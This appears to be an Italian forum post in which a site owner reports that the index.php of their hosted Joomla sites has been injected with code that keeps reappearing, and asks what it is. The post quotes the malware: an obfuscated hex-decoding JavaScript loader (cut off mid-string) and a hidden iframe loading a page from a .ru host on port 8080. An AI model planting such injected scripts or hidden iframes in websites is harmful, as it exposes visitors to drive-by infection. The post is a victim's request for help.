Recentemente trovo che i miei siti ospitati presso hosting americano mostrano in homepage l'esistenza di un errore generalmente nell'ultima riga dell'index.php
Guardando il codice mi ritrovo questo script, sicuramente malevolo:
<script>function v4a846ac9614cf(v4a846ac9618c6){ function v4a846ac961cbf () {return 16;} return(parseInt(v4a846ac9618c6,v4a846ac961cbf()));}function v4a846ac9624b9(v4a846ac9628b1){ function v4a846ac9634ac () {return 2;} var v4a846ac962ca9='';for(v4a846ac9630a6=0; v4a846ac9630a6<v4a846ac9628b1.length; v4a846ac9630a6+=v4a846ac9634ac()){ v4a846ac962ca9+=(String.fromCharCode(v4a846ac9614cf(v4a846ac9628b1.substr(v4a846ac9630a6, v4a846ac9634ac()))));}return v4a846ac962ca9;} document.write(v4a846ac9624b9('3C696672616D65206E616D653D27363934653727207372633D27687474703A2F2F7777772E
<iframe src="http://3f4.ru:8080/index.php" width=114 height=143 style="visibility: hidden"></iframe>
Che roba è? vedo un .ru nella parte finale.
Dipende da qualche componente di Joomla o dal mio hosting? Inoltre rimuovendolo ricompare nuovamente.